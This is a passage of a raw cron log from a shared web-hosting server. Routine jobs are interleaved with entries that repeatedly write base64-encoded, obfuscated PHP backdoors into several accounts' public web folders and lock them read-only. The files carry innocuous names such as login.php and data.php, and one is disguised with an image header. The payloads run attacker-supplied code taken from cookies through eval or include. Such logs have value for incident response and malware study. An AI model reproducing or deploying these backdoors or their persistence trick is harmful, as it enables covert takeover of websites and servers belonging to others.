"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:41:01 medusa CROND[1093]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 14:41:01 medusa CROND[1098]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:41:01 medusa CROND[1100]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 14:42:01 medusa CROND[20520]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 14:42:01 medusa CROND[20525]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:42:01 medusa CROND[20528]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:42:01 medusa CROND[20529]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:42:01 medusa CROND[20530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:42:01 medusa CROND[20547]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:42:01 medusa CROND[20548]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:42:01 medusa CROND[20549]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:42:01 medusa CROND[20551]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 14:42:01 medusa CROND[20550]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:42:01 medusa CROND[20554]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:42:01 medusa CROND[20552]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:42:01 medusa CROND[20555]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:43:01 medusa CROND[11215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:43:01 medusa CROND[11214]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 14:43:01 medusa CROND[11216]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:43:01 medusa CROND[11217]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:43:01 medusa CROND[11218]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:43:01 medusa CROND[11219]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 14:43:01 medusa CROND[11220]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:43:01 medusa CROND[11227]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:43:01 medusa CROND[11231]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:43:01 medusa CROND[11232]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:43:01 medusa CROND[11237]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:43:01 medusa CROND[11236]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:43:01 medusa CROND[11239]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  2 14:43:01 medusa CROND[11248]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:44:01 medusa CROND[27704]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:44:02 medusa CROND[27775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:44:02 medusa CROND[27825]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:44:02 medusa CROND[27999]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
